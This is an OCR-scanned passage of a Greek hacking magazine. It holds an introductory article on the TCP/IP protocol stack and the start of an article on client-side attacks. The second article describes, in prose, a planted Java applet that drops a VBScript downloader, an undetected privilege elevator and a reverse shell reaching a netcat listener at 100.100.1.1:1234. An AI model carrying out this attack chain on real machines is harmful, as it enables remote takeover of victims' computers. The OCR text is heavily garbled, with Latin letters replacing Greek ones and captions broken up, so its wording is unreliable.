δομένων ταξιδεύουν avd πάσα στιγμὴ σ’ ολόκληρο τον πλανήτη, ακολου- 
θώντας απλὲς ἡ περίπλοκες διαδρομές; Δεν εἶναι ακόµα πιο αξιοθαύμα- 
στο το ὁτι οι διαδρομές αυτὲς καθορἰζονται δυναμικά, χωρὶς να υπάρχει 
κάποιο προσχέδιο; Και για µια στιγμή. Τι ακριβώς εἶναι Eva πακέτο δεδο- 
μένων; Πώς ορἰζεται µια διαδρομή; Ποιοι χαράσσουν αυτὲς τις διαδρομές 
και πώς διασφαλίζεται ὁτι τα πακέτα φτάνουν στους σωστοὺύς προορι- 
σμούς; Ano που προέρχονται αυτά τα πακέτα και τι ακριβώς κάνουν εκεὶ 
που φτάνουν; 


Ὅλα αυτά --και πολλά περισσότερα-- εἶναι δυνατά επειδἠ τα δίκτυα 
υπολογιστών (ἡ γενικἀ συσκευών) οργανώνονται σε επίπεδα (layers ἡ 
levels), τα οποία βρίσκονται το Eva πάνω ano το GAAo. Σε κάθε επἰπε- 
δο συναντάμε Eva ἡ περισσότερα πρωτόκολλα (protocols), οπότε γι΄ 
αυτό μιλάμε και για στοίβες πρωτοκόλλων (protocol stacks). Τώρα, 
κάθε πρωτὀκολλο δεν εἶναι τίποτε περισσότερο απὀ Eva προσυμφωνημέ- 
νο σύνολο κανόνων επικοινωνίας. Τα διαφορετικἀ επἰπεδα ενὸς protocol 
stack επικοινωνούν μεταξύ τους παρέχοντας το Eva στο ἆλλο υπηρεσί- 
ες (Services). Σημειώστε ὅτι γενικἁ η επικοινωνἱα γίνεται µόνο μεταξύ 
γειτονικὠν επιπέδων του εκάστοτε protocol stack, av και υπάρχουν κι 
εξαιρέσεις. 


Μια ano τις βασικὀτατες σχεδιαστικἐς αποφάσεις για κάθε επἰπεδο ενός 
protocol stack, εἶναι OT! *npénei* να κρύβει τις λεπτομέρειες της λει- 
Toupyiac Tou ano τα άλλα επἰπεδα. Ταυτόχρονα, οι μέθοδοι επικοινω- 
viag που παρέχει προς ἄλλα επἰπεδα, μ’ ἄλλα λόγια To interface του 
επιπέδου προς τον έξω κόσμο, Ἔδεν3 πρέπει ν’ αλλάζει. Αυτή ακριβώς η 
προσέγγιση εἶναι που κάνει δυνατή την κατασκευἠ δικτύων υπολογιστών, 
ομάδων διαφορετικών δικτύων (διαδίκτυα, internetworks ἡ internets) 
και τελικἁ του δικτύου όλων των διαδικτύων, δηλαδἠ του παγκόσμιου 
Διαδικτύου µε δέλτα κεφαλαἰο (Internet). 


Γενικά, στην επιστήμη των υπολογιστών ακολουθούνται πολύ συχνὰ οι 
προσεγγἰσεις της απὀκρυψης των λεπτομερειών λειτουργίας και της επι- 
κοινωνίας µέσω «σταθερών», στο μέτρο του δυνατού, interfaces. Για va 
το πούμε διαφορετικά, πολλὲς φορὲς επιδιώκεται η κατασκευἠ μαύρων 
κουτιών. Καθένα απ΄ αυτά παρέχει υπηρεσίες σε ἄλλα μαύρα κουτιά ἠ/και 
στον ἐξω κόσμο, ωστόσο δεν φανερώνει καμία λεπτομέρεια για το NOG 
ακριβώς δουλεύει εσωτερικά, οὐτε για το ποια εἶναι η κατἀστασὴ του µια 
δεδομένη χρονικἠ στιγμὴ. 
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Ας δούµε ἐν παράδειγµα. Κάθε φορά nou Eva npòypappa KaAEi µια ou- 
νάρτηση για την εύρεση της OUVTOHOTEPNS διαδρομής μεταξύ δύο Köp- 
βων ενὸς γραφήματος, ποσώς το ενδιαφἑρει πὠς εντοπίζεται η διαδρομή 
αυτἠ καθ’ αυτή. O αλγόριθμος ἡ οι αλγόριθμοι υπολογισμού εἶναι κάτι 
που ξέρει μόνο η καλούμενη συνάρτηση, η οποία αφού κάνει ὁ,τι εἶναι 
να κάνει απλά επιστρέφει µια απάντηση στην εξωτερική οντότητα --εν 
προκειμένω το πρὀγραμμα-- που την κάλεσε. Ekeivo τότε τη λαμβάνει και 
προχωρά σε ἄλλα θέματα, xwpic να νοιάζεται για το πόσο ἔξυπνοι, ano- 
δοτικοἰ ἡ περἰπλοκοι εἶναι οι ὁποιοι αλγόριθμοι βρίσκονται «μέσα» στη 
συνάρτηση που κλήθηκε πριν λίγο. Το µόνο που ἐχει σημασία για το πρὀ- 
γραμμα εἶναι ὁτι η συνάρτηση εἶναι διαθέσιμη, καθώς κι ὁτι υπάρχει Evac 
πολὺ συγκεκριμένος τρόπος για να τις στέλνει τα αἰτηματά του. Φυσικά, η 
συνάρτηση ano τη μεριά της EXE! KI αυτή ἑναν πολύ συγκεκριµένο τρόπο 
για ν΄ απαντὰἁ σε Onolov την καλεί. Όλα ωραία και τακτοποιημένα, λοιπόν! 


Ας δούμε τώρα κι Eva παράδειγµα ano τον κόσμο των δικτύων, το οποίο 
δείχνει και την αναγκαιότητα µιας στοίβας πρωτοκόλλων. Ας υποθέσουµε 
ὁτι θέλουμε να κατεβάσουµε το DVD image του FreeBSD 9.0-RELEASE, 
ano ἑναν πολύ συγκεκριµένο FTP server. Γνωρίζουμε ὁτι για να το πετύ- 
χουμε χρειαζόμαστε ἑναν FTP client. Τον έχουμε On κι ETO! τον ξεκινά- 
με, προκειµένου να συνδεθούμε στον FTP server. H επικοινωνία μεταξύ 
FTP client και FTP server δεν θα μπορούσε napa να γίνεται µε βάση µια 
κοινἠ γλὠσσα ἡ αλλιώς µε βάση Eva προσυμφωνημένο σύνολο κανόνων. 
>’ αυτἠ την περίπτωση, λοιπὀν, η κοινἠ γλὠσσα επικοινωνίας που ξὲ- 
ρουν server και client εἶναι --τι ἄλλο;-- το πρωτόκολλο FTP (File Transfer 
Protocol). Χάρη o’ αυτό ο client μπορεί να πει ἑνα «γεια» στον server κι 
εκεἰνος να τον καταλάβει και να τον υποδεχτεἰ καταλλήλως. Κάποια στιγ- 
uñ ο client θα ζητήσει να δει τα αρχεία του server κι αυτὸς θα καταλάβει 
τι θέλει και θα ικανοποιήσει το αἰτημά του. Λίγο αργότερα ο client θα 
ζητήσει ἑνα συγκεκριµένο αρχεἰο, οπὀτε ο Server µετά χαράς θα του πει 
«παρακαλώ, αφού το θέλεις τόσο πολὺ πάρ’ το, va δω τι θα καταλάβεις». 


Προσέξτε τώρα εδὠ το εξής: Το πρωτόκολλο FTP εἶναι φτιαγμένο για va 
τα λένε FTP client κι FTP server, δεν περιλαμβάνει όμως κανόνες που 
αφορούν στην ἴδια τη φυσικἠ μετάδοση των αρχείων. Αν περιελάμβανε 
*kal* τέτοιους κανόνες τότε θα ἦταν Eva μᾶλλον περίπλοκο πρωτόκολλο. 
H ἴδια η ζωὴ ὁμως διδάσκει ξανὰ και ξανὰ ότι καλὀ εἶναι ν’ αποφεύγονται 
οι περίπλοκες καταστάσεις, αφού στην πράξη ἐχουν µια τάση να µην 
πηγαϊνουν μακριὰ και τέλος πάντων να δημιουργούν προβλήματα εκεἰ 
που δεν το περιμένεις. Ευτυχώς, οι επιστήμονες της πληροφορικής κάτι 
ξέρουν ano ζωή. Ίσως γι’ αυτὀ ¿xouv Φροντίσει να σχεδιάσουν Eva GAAO 
πρωτόκολλο, ξεχωριστὀ απὀ το FTP, το οποίο αφορά σε μεταφορὲς και 
μόνο. AUTO το πρωτόκολλο εἶναι το TCP (Transmission Control Protocol) 
και ζει Eva επἰπεδο πιο κάτω ano To FTP. Εἶναι βλέπετε γενικότερο απὀ 
το προαναφερθέν, γι’ αυτό και βρίσκεται απὸ κάτω. Το καλὸ p’ αυτή την 
οργάνωση εἰναι ὁτι το TCP μπορεἰ va ικανοποιεἰ αιτήματα Tou FTP αλλά 
κι ἄλλων πρωτοκόλλων and πάνω του, όπως, N.X., εἶναι το πολὺ γνωστό 
μας HTTP (HyperText Transfer Protocol). Το TCP λοιπὸν εἶναι ἑνα πρω- 
TOKOAAO που φροντίζει για τη µεταφορά ἡ ακόμα καλύτερα για τη pon 
των δεδομένων. Πα την ακρίβεια, τα δεδομένα τα διασπἀ σε μικρότερες 
μονάδες ἡ αλλιώς πακέτα (packets) και διασφαλίζει ὁτι φτάνουν εκεἰ που 
πρέπει µε τη σωστὴ σειρὰ και φυσικά συναρμολογούνται ξανὰ. Αυτὀ nou 
δεν ξέρει εἶναι πώς να οδηγεί τα πακέτα που δημιουργεί μέσα στο αχανὲς 
Διαδίκτυο. Π’ auto και ζητά τις υπηρεσἰες EVOG πρωτοκόλλου Eva επίπεδο 
πιο κάτω: Tou IP (Internet Protocol). Δουλειά του IP εἶναι να µετακινεί 
πακέτα ano το Eva σηµείο στο ἄλλο. Δεν διασφαλίζει OT! θα φτάνουν εκεἰ 
που πρέπει, αφού αυτὀ εἶναι ευθύνη του TCP. Μ΄ αυτά και µε τ’ GAAa, µια 
εφαρµογἠ σαν τον FTP client nou τρέξαμε πριν λίγο µπορεί να μένει Nou- 


Πώς δουλεύουν ta δίκτυα 
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χη oT! θα λαμβάνει αυτό που πρέπει κι ὀχι κάτι ἄλλο. Όλα καλὰ, λοιπὀν, 
µόνο που ξεχάσαμε κάτι: Το IP δεν εἶναι σε θέση να γνωρίζει πώς ακριβὼς 
διακινούνται τα πακέτα μεταξύ δύο υπολογιστών, αφού η κίνηση εξαρτά- 
ται ano το iio το µέσο µε το οποἱο κάθε υπολογιστής επικοινωνεί µε TOV 
ἑξω κόσμο. Ακριβώς γι΄ αυτὀ ζητά τις υπηρεσίες πρωτοκόλλων Eva eni- 
πεδο πιο κἀτω. Παράδειγμα ενὀς τέτοιου πρωτοκόλλου εἶναι το Ethernet, 
το οποίο ξέρει πὠς να διακινεὶ πληροφορίες μεταξύ υπολογιστών που 
επικοινωνούν µέσω ελεγκτών δικτύου (Network Interface Controllers, 
NICs) τύπου Ethernet. 


Δεν ξέρουμε αν και πόσο φάνηκε, αλλά μόλις πήραμε µια γρήγορη φω- 
τογραφἰα της εξαιρετικἀ δημοφιλούς στοίβας πρωτοκόλλων TCP/IP, χάρη 
στην οποία εἶναι δυνατή η ὑπαρξη του Διαδικτύου ολόκληρου! 


TCP/IP Stack 


FTP, HTTP, SMTP, IMAP κ.ά. 


Application Layer 


TCP kat UDP 


Transport Layer 


Network Layer IP, ICMP, IGMP 


Οδηγοί και πρωτόκολλα 


Link Layer A h 
aye συσκευών δικτύωσης 


Το θαυματουργὀ TCP/IP stack 


Εἶναι αναμενόμενο το ὀνομα να δημιουργεί παρερµηνεἰες, οδηγώντας pE- 
ρικούς να πιστέψουν ὁτι EXOUHE να κάνουμε µε δύο μόνο πρωτόκολλα: το 
TCP και το IP. Μερικές φορὲς μάλιστα μόνο αυτά τα δύο μὰς ενδιαφἑρουν 
για τη συζήτηση ἡ την ανάλυση που κάνουμε, οπὀτε μιλάμε καταχρηστι- 
κά για το «ζεύγος πρωτοκόλλων TCP/IP». Στην πραγματικότητα ὁμως 
έχουμε να κάνουμε µε µια στοίβα πρωτοκόλλων, δηλαδὴ p’ Eva σύνο- 
ào πρωτοκόλλων που εἶναι οργανωμένα σε µια ιεραρχία διαφορετικὼν 
επιπέδων. Το TCP/IP stack ονομάζεται και σουίτα πρωτοκόλλων (TCP/IP 
protocol suite) κι επιτρέπει σε υπολογιστές κι ἄλλες συσκευὲς να επικοι- 
νωνούν μεταξύ τους, ανεξαρτήτως της γεωγραφικἠς τους θέσης, του εἰ- 
δους της δικτύωσης που χρησιμοποιούν ἡ του λειτουργικού συστήµατος 
που τρἐχουν. 


H oouita του TCP/IP αποτελείται ano τέσσερα διαφορετικἁ επίπεδα (βλ. 
σχήμα 1). Ας δούμε λίγο πιο προσεκτικἁ καθένα εξ αυτών, ξεκινώντας 
απὀ το υψηλότερο. 


Application Layer. Εδώ συναντάμε Eva σωρὀ πρωτόκολλα που χρη- 
σιμοποιούν οι εφαρμογές για να κάνουν τη δουλειά τους. Πα παράδειγ- 


Σχήµα 1 

Αν και συχνά 
μιλάμε για TO 
ζεύγος δικτυακών 
πρωτοκόλλων TCP/ 
IP, στην πραγµμα- 
τικότητα AUTÓ που 
κάνει δυνατή την 
ύπαρξη και λει- 
τουργία οσοδήποτε 
μεγάλων δικτύων, 
ομάδων δικτύων 
και τελικἁ του ἰδιου 
του Διαδικτύου, 
εἶναι µια στοίβα 
πρωτοκόλλων τεσ- 
σάρων επιπέδων. 
Αναλυτικότερα, 

το TCP/IP stack 

ἡ αλλιώς TCP/ 

IP protocol suite, 
εἶναι οργανωμένο 
σε τέσσερα επίπεδα 
µε τα πρωτόκολλα 
κάθε επιπέδου va 
παρέχουν υπη- 
ρεσίες σε εκείνα 
του απὀ πάνω 
επιπέδου, μέσω 
καλά ορισμένων 
interfaces. Ta 
πρωτόκολλα Tou 
σνώτερου επιπέδου 
τα χρησιμοποιούν 
απευθείας δικτυ- 
ακὲς εφαρμογές, 
όπως, π.χ., ΕΤΡ 
clients και servers, 
web browsers 

και Servers Κ.Ο.Κ. 
Σημειώστε ότι 

τα πρωτόκολλα 
κάθε επιπέδου 

δεν μπορούν --και 
δεν χρειάζεται-- 

να γνωρίζουν 

τις λεπτομέρειες 
υλοποίησης των 
πρωτοκόλλων στα 
επίπεδα ano κάτω. 
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μα, TO πρωτόκολλο FTP το γνωρίζουν clients όπως o Filezilla αλλά και 
servers ὁπως ο ProFTPD. Το δε πρωτόκολλο HTTP το χρησιμοποιεὶ κάθε 
web browser και φυσικἀ web server, το SMTP (Simple Mail Transport 
Protocol) το επιστρατεύουν mail clients (π.χ., Thunderbird) και servers 
(n.x., Postfix) για τη μετακίνηση ηλεκτρονικἠς αλληλογραφίας ano client 
σε server ἡ ano server σε server κ.ο.κ. Προσέξτε ὁτι κάθε εφαρµογή, 
ασχέτως av ἐχει ρὀλο client ἡ Server, προκειµένου να επιτελεἰ το σκοπὀ 
της αρκεἰ να μιλάει τα σωστά πρωτόκολλα του Application Layer. Θέματα 
όπως τρόποι μετάδοσης, εὑρεση διαδρομών, διόρθωση λαθών, αποσυ- 
Νναρµολόγηση σε πακέτα και επανασυναρµολόγηση δεν υπάρχει κανένας 
--μα Kavévac-- λὀγος να την απασχολούν. Πα τέτοιες κι ἄλλες παρόμοιες 
χαμαλοδουλειὲς κι αγγαρεἰες υπάρχουν τα πρωτόκολλα στα χαμηλότερα 
επίπεδα του TCP/IP stack. 


Transport Layer. =’ auto επἰπεδο συναντάμε δύο πρωτόκολλα που 
εἶναι υπεύθυνα για τη pon δεδοµένων. To Eva εξ αυτών εἶναι το TCP 
(Transmission Control Protocol) και το ἆλλο To UDP (User Datagram 
Protocol). 


Μια σημαντικἠ υπηρεσία nou παρέχει To TCP στο Application Layer αφο- 
på στον τεμαχισμὀ των δεδομένων σε κομμάτια (chunks) ἡ αλλιώς πακέἑ- 
τα (packets), τα οποία εἶναι διαχειρίσιµα and τα πρωτόκολλα του Network 
Layer ano κἀτω. Προφανώς, εκεἰνο το DVD image που αναφέραμε στο 
προηγούμενο παράδειγµα δεν ταξιδεύει μονοκόμµατο ano τον FTP server 
στον FTP client. Αντίθετα, μεταδίδεται κομμάτι κομμάτι και To TCP εἶναι 
υπεύθυνο γι’ αυτὀν τον τεμαχισμὀ -- OXI ο εκάστοτε FTP server ἡ client! 
Αλλά οι ευθύνες του TCP δεν σταματούν εκεἰ, Πολύ περισσότερο, Φφροντὶ- 
ζει WOTE η μεταφορά δεδοµένων να γίνεται σωστὰ. Έτσι, αν Eva πακέτο 
για κἄποιο λόγο αποτύχει να φτάσει στον προορισμὀ του, το TCP napa- 
τηρεἰ το γεγονὸς και φροντίζει WOTE ν΄’ αποσταλεἰ ξανά. Επίσης, προσέχει 
ώστε τα πακέτα να συναρμολογούνται µε τον προβλεπόμενο τρόπο στον 
προορισμό τους. Πράγματι, οι διαδρομές που κάνουν διαφορετικἁ πακέτα 
του ἰδιου αρχείου δεν εἶναι ἴδιες. Επιπρόσθετα, λόγω µια πλειάδας εξω- 
τερικὠν παραγόντων υπεισἐρχονται απρόβλεπτες καθυστερήσεις κατά τη 
μετάδοση. Έτσι, για δύο πακέτα p1 και p2 που ἐχουν αποσταλεί τις Xpo- 
νικὲς στιγμὲς t1 και t2 µε {1 < t2, εἶναι πιθανό το p2 να φτάσει πριν το 
p1! Το TCP παρακολουθεἰ διαρκώς για παραξενιὲς σαν αυτή και φροντίζει 
MOTE η συναρμολόγηση των πακέτων στο προορισμό να γίνεται πάντα µε 
το OWOTO τρὀπο κι OX! µε βάση το χρόνο άφιξης. Φανταστείτε τώρα πόσο 
πιο περίπλοκα θα έπρεπε να ‘val τα πρωτόκολλα Tou Application Layer, av 
δεν υπήρχε ἑνα πρωτόκολλο σαν το TCP! 


Το UDP εἶναι κι αυτὸ Eva πρωτόκολλο μεταφοράς αλλά εξαιρετικἁ AVELE- 
Ào κι αναξιόπιστο, αφού το µόνο που κάνει εἶναι να στέλνει πακέτα δε- 
δομένων που ονομάζει datagrams ano τον ¿vav host στον ἄλλον. Ὅμως 
σε αντίθεση µε το TCP σταματάει εκεἰ και δεν παρέἐχει καμία εγγύηση για 
το αν τα datagrams φτάνουν στους προορισμούς τους, ενώ OUTE η σει- 
på µε την οποία φτάνουν το ενδιαφέρει. Σε περιπτώσεις όπως το audio/ 
video streaming, μερικἁ λάθη εἶναι απολύτως αποδεκτά κι ἑνα πρωτὀκολ- 
Ao σαν το UDP εἶναι ὁ,τι χρειαζόμαστε. Κάθε φορά που χρησιμοποιείται 
το UDP αλλά ἑνας κάποιος ἐλεγχος λαθών εἶναι πράγματι επιθυμητός, 
τότε ο αντίστοιχος μηχανισμὸς πρέπει να παρέχεται ano την εκάστοτε 
εφαρμογἠ 


Network ἡ Internet Layer. H διακίνηση packets µέσα σ΄ Eva õi- 
KTUO ἡ μεταξὺ δικτύων επιτυγχάνεται χάρη στα πρωτόκολλα αυτού 
του επιπἐδου. Εδὠ συναντάμε τα πρωτόκολλα IP (Internet Protocol), 
ICMP (Internet Control Message Protocol) και IGMP (Internet Group 
Management Protocol). Η δρομολόγηση (routing) πακέτων εντὸς δικτύου 
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Box 1 (Windows host) 


Box 2 (FreeBSD host) 


Application 


Transport 


Network: protocol 


| 


Ethernet driver 


i 


Ethernet driver 


Ethernet 


Link 


ἡ μεταξὺ διαφορετικών δικτύων εἶναι δυνατὴ χάρη στα πρωτόκολλα του 
Network Layer. Στο επόμενο άρθρο της σειρἁς µας, στο deltaHacker 005, 
θα σταθούμε περισσότερο στο πρωτόκολλο IP και θα συζητήσουμε για 
τις διευθύνσεις IP που ταυτοποιούν τις δικτυωμένες συσκευές, καθώς και 
για το πὼς συγκροτούνται δίκτυα και υποδίκτυα τέτοιων συσκευών. Θα 
μιλήσουμε, p’ ἄλλα λόγια, για το noc δημιουργούνται τα IP addresses 
αλλά θα αποκαλύψουμε κι όλα τα μυστικὰ του subnetting. Όχι τίποτε 
ἄλλο, αλλά εἶναι κρίμα να βλέπετε σ’ Eva configuration file Eva string της 
µορφής 10.0.0.0/24 και να µην εἰστε βέβαιοι για το τι σημαίνει ἡ για το τι 
αποτέλεσµα θα ἐχει η τροποποἱησή του. 


Link ἡ Data-link Layer. Στο κατώτερο επἰπεδο του TCP/IP stack βρἰ- 
σκουµε οδηγούς (drivers) και πρωτόκολλα συσκευών δικτύωσης (π.χ., 
Ethernet), τα οποία επιστρατεύει το εκάστοτε AEITOUPYIKO σύστημα για 
να «συνομιλεὶ» pe TO hardware που κάνει δυνατἠ την ἰδια την επικοινωνία 
(n.x., Bluetooth ἡ WiFi adapters, κάρτες Ethernet, 3G ἡ ADSL modems 
κ.ο.κ.). Προσέξτε OT! χάρη σ΄’ αυτή τη διευθέτηση κανένα ano Ta napa- 
πάνω επἰπεδα δεν απασχολείται µε λεπτομέρειες που αφορούν στη Qu- 
σικἠ υλοποίηση της δικτύωσης, ὁπως, N.X., εἶναι η μετάδοση ηλεκτρικὠν 
σημάτων µέσα ano καλώδια. Ανεξάρτητα λοιπὸν ano το αν η δικτύωση 
επιτυγχάνεται ενσύρματα η ασύρματα, µε καλώδια Ethernet, USB ἡ τη- 
λεφώνου, μέσω WiFi, Bluetooth, δορυφόρων, περιστεριών ἡ του δικτύου 
κινητής τηλεφωνίας, ὀλες οι εφαρμογἐς στο Application Layer καθώς και 
τα εμπλεκόμενα πρωτόκολλα μεταφορᾶς, δρομολόγησης κι ελέγχου, λει- 
TOUPYOUV µε τον ἴδιο ακριβώς τρὀπο. 


H συναρπαστικἠ συνέχεια! 


Απρὀθυµα στο σημείο auTO βάζουμε µια ἄνω τελεία. Υπάρχουν φυσικἁ 
πολλὰ περισσότερα που μπορούμε να πούμε για το TCP/IP stack -- kal 
να εἰστε βέβαιοι ὁτι δεν θα το παραλείψουμµε. Προς To παρὀν ὁμως vopi- 
ζουμε ὁτι κάναμε µια καλὴ εισαγωγἠ στον κόσμο της πανταχού παρούσας 
δικτύωσης. Στο δεύτερο ἀρθρο της σειράς, το οποίο θα δηµοσιευτεἰ στο 
deltaHacker 005, στρέφουμε την προσοχὴ µας στο Network Layer και 
συγκεκριµένα εστιάζουµε στο πρωτὀκολλο IP. Θα έχουμε να πούμε πολ- 
Ad και να εξηγήσουμε ακόµα περισσότερα για τις διευθύνσεις IP, για Ta 
μυστήρια subnet masks καθώς και γι΄ αυτά τα υποδἰκτυα, που οριοθετού- 
νται εντὸς ευρύτερων δικτύων. Σας υποσχόµμαστε ὁτι μετά απ’ AUTÒ το 
άρθρο η κατανὀησἡ σας για τα TONIKA (και µη) δίκτυα θα εκτοξευτεἰ -- TO 
ἰδιο και η ὀρεξή σας για τα επὀµενα άρθρα της σειράς! 


i 
{ 

{ 

f πρωτόκολλα που καθορίζουν. 

| τις δυνατότητες των εφαρμογών 
i 
{ 


πρωτόκολλα που αφορούν στις 
λεπτομέρειες της επικοινωνίας 


Σχήµα 2 
Επικοινωνία δύο 
boxes του ἰδιου 
δικτύου µέσω 

του πρωτοκὀλ- 
Aou FTP. ΤΟ box 

1 τρέχει Windows 
ΚΙ ο χρήστης του 
έχει ξεκινήσει τον 
FTP client ονόματι 
Filezilla, προκειμέ- 
νου να στείλει και 
να πάρει μερικά 
αρχεία απὀ το 

box 2. To npoa- 
ναφερθέν τρέχει 
FreeBSD και χάρη 
στον ProFTPD 
λειτουργεί (και) ως 
FTP server. Επειδή 
η σουίτα TCP/IP 
έχει υλοποιηθεί 
πρακτικά για κάθε 
λειτουργικὀ σύστη- 
pa Εκεί Έξω (TM), 
το µόνο που χρειά- 
ζονται Ta boxes για 
να μιλήσουν εἰναι 
το κατάλληλο Ao- 
γισμικὀ -- εν προ- 
κειµένω Evav FTP 
client To box 1 κι 
ἐναν FTP server To 
box 2. Όμως αυτή 
τους η επικοινωνία 
δεν γίνεται δυνατή 
Ἔμόνος χάρη στο 
πρωτόκολλο FTP! 
Στην πραγµατικό- 
τητα τα δύο boxes 
επικοινωνούν σε 
όλα τα επίπεδα του 
TCP/IP stack και 

η εξέλιξη αυτής 
της επικοινωνίας 
γίνεται οµότιµα, 
UNO την ἐννοια ότι 
το επίπεδο TCP Tou 
ενός μιλά µε το 
επίπεδο TCP Tou 
ἆλλου, To IP Tou 
ενός µε το IP του 
ἄλλου κ.ο.κ. 
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Οι ύπουλες 
Client-Side Attacks! 


O A 


l Επίθεση client side: Όταν ο επιτιθέμενος Χρησιμοποιεί 
κάποιο καθόλα νόμιμο πρόγραμμα που βρίσκεται 
I εγκατεστημένο στο PC του θύματος για va πετύχει TO 
σκοπὀ του. Συχνὰ, Eva τέτοιο πρόγραμμα εἶναι ο web 
I browser nou Χρησιμοποιεί το θύμα (Internet Explorer, 
Firefox κ.ά.) και ο τρόπος για να πετύχει ο επιτιθέµενος 
l εἶναι η εκμετάλλευση κάποιας αδυναμἱας εἶτε του web 
4 browser εἰτε TOU ἴδιου ...του θύματος! 
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Οι επιθέσεις client side δεν εἶναι KaTI καινούριο. Εδὠ και apKETÒ καιρό 
όμως εἶναι της μόδας τόσο σε ερασιτεχνικὀ, OOO και σε επαγγελµατι- 
Kò επἰπεδο'. H βάση τους συνήθως βρἰσκεται σε µια αδυναμία του web 
browser που χρησιμοποιεἰ το θύμα. Κάνοντας χρήση αδυναμίας ο eni- 
τιθέμενος μπορεἰ να κἀνει πάρα πολύ επικίνδυνα πράγματα: ano το να 
εξαπολύσει Eva DOS attack μέχρι να πάρει πλήρη πρὀσβαση στο box Tou 
θύματος. 


Το θετικὀ της υπόθεσης εἶναι ὁτι τέτοιες αδυναμίες συνήθως δεν «επιβιώ- 
νουν» για πολύ καιρὀ, αφού αργά ἡ γρήγορα το πρὀβλημα αποκαλύπτεται 
και αντιμετωπίζεται µε κἀποιο patch. Επἰσης, αυτὲς οι αδυναμίες uno- 
POUV να λειτουργήσουν μόνο σε συγκεκριμένες εκδόσεις, συγκεκριμένου 
web browser. Υπάρχει όμως και µια ἄλλη προσέγγιση: H επίθεση να γίνει 
απόλυτα νόμιμα και να µην εκμεταλλεύεται καμιά αδυναμία κανενὸς web 
browser, παρὰ µόνο την εμπιστοσύνη (ἠ την αφέλεια) του θύματος! 


Στο παρὀν κείμενο ξεκινάμε περιγράφοντας µια τέτοια επίθεση. Αμέσως 
µετά αναφέρουμε τα εργαλεἰα τα οποία θα μπορούσε να χρησιµοποιήσειο 
επιτιθέμενος. Τέλος, δείχνουμε την επἰθεση στην πράξη. 


Οι εμπλεκόμενοι 


H επίθεση θα γίνει ano va Linux box το οποὶο βρίσκεται κάπου στο Al- 
αδἰκτυο και μάλιστα πρὀκειται για ἑνα VPS (Virtual Private Server) µε 
CentOS 5.5. O στόχος θα εἰναι (τι ἆλλο;) Eva Windows 7 Ultimate 64bit 
box. O web browser δεν ἐχει σημασία, μπορεὶ να εἰναι οποιοσδήποτε. To 
Windows box έχει ως firewall αυτὀ nou ἐρχεται µε τα Windows 7 kal vw 
anti-virus To NOD32 της Eset (ἐκδοση 4.2.35). Φυσικά το Ροχ-στόχος 
εἶναι fully patched µε τις πιο πρὀσφατες ενημερώσεις ασφαλείας της 
Microsoft, τουλάχιστον μέχρι την στιγμὴ που γράφεται το παρὀν άρθρο 
(27/12/2011). 


H επίθεση θα πραγµατοποιηθεἰ ano Eva site το οποίο ο χρήστης εμπιστεύ- 
εται και θεωρεί ότι ποτὲ δεν πρὀκειται να τον προδώσει. Έστω --υποθετι- 
κά πάντα-- οτι αυτό το site εἶναι το γνωστό σε όλους µας Google. Ποιός 
(µη υποψιασμένος) θα μπορούσε να φανταστεί οτι η Google µπορεί va 
χρησιμοποιηθεί ano κάποιους τρίτους παρὰ την θέληση της, για να eni- 
τεθεί στους «πελάτες» της; (This is a... ρητορικἠ ερώτηση, of course!) 


Το σενάριο 


Έστω ὅτι έχουμε ἑναν μοχθηρὀ προγραμματιστή ο οποίος EXE! κάνει τα 
εξής: Ἐχει «φάει» τη Google (λἐμε τώρα!) KI EXE] χώσει µέσα στο κεντρι- 
KO αρχεἰο Tou site της ἑνα πολύ µικρὀ πρόγραµµα που περιγράφεται ano 
HTML κὠδικα (οι λεπτομέρειες παρακάτω). Αυτός ο κὠδικας τρέχει στο 
box του EKGOTOTE χρήστη Eva Java applet. 


Την ἴδια στιγμή, GUTOG ο μουργο-προγραμματιστής EXE] σηκώσει στον 
δικὀ του server? --ας πούμε τον 100.100.1.1-- ἑναν listener µε χρήση του 
εργαλείου netcat κι ο listener ακούει στην πόρτα 1234 (θα εξηγήσουμε 
παρακάτω πως γίνεται αυτό). 


Μόλις το ανυποψίαστο θύμα επισκεφτεί τη Google θα ενεργοποιηθεί στον 
υπολογιστή του το Java applet ζητώντας ἁδεια για εκτέλεση. Αν το θύμα 
δεχτεί τότε έρχεται η επόμενη και τελευταία ερώτηση: Εἶναι αυτή του 


1. Μη ρωτάτε περισσότερα, δεν μπορούμε να επεκταθούμε... ;) 
2. Ἡ τέλος πάντων σε κἀποιον ἆλλον server που ελέγχει. 
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UAC (User Account Control) των Windows 7, που θα ζητήσουν επιβεβαί- 
ωση εκτέλεσης TOU προγράµµατος µε δικαιώματα Administrator. Αυτή η 
τελευταΐα ερώτηση βέβαια θα «παίξει» µόνο σε περίπτωση που το θύμα 
ἐχει ενεργοποιημένο To UAC. Av δεν εἶναι, τότε το applet θα εκτελεστεὶ 
απευθείας -- αρκεὶ βέβαια να δοθεἰ καταφατικὴ απάντηση στην πρώτη 
ερώτηση. 


Αφού το applet εκτελεστεί, θα δημιουργήσει, μέσα στον temp φάκελο 
των Windows, vav downloader που εἶναι γραμμένος σε VB script κι αμέ- 
ows θα τον εκτελέσει. Ew πρέπει να ξέρουμε OT! τα προγράµµατα που 
εἶναι γραμμένα σε VB script (αυτά µε To extension vbs) εκτελούνται κα- 
τευθείαν ano τα Windows, χωρὶς compilation ἡ άλλα ...περιττά βήματα 
;) Αυτός ο downloader, λοιπὸν, θα κατεβάσει µε τη σειρἀ του στον ἰδιο 
προσωρινό φάκελο δύο µη ανιχνεύσιμα (τουλάχιστον and To NOD32) 
εκτελἐσιμα: το myelevate.exe και το test.exe. 


Το myelevate.exe εἶναι Eva πρὀγραμµα που παίρνει ως παράμετρο Eva 
ἄλλο πρὀγραμμµα, το οποίο και το εκτελεί µε δικαιώματα Administrator. 
Χρήσιμο πρόγραμμα, δεν μπορείτε να neite! Το test.exe δεν εἶναι τίποτε 
παραπάνω ano ἑνα reverse shell, δηλαδή Eva πρὀγραμμα το οποίο μόλις 
τρέξει στο box του θύματος θα στείλει στον Server του επιτιθἐµενου τον 
Command Interpeter των Windows, δηλαδὴ το cmd.exe. O επιτιθἐµενος, 
όπως ἠδη εἰπαμε, εἶναι σε listening mode στην πόρτα 1234 και περιμὲ- 
νει. Αμέσως μόλις τρέξει το test.exe στο box του θύματος θα συνδεθεὶ 
µε το box Tou επιτιθἐµενου. Αυτός τότε θα αποκτήσει απομακρυσμένη 
πρόσβαση και μάλιστα θα εἶναι σε θέση να εκτελεἰ ὁποια εντολἠ θέλει! 
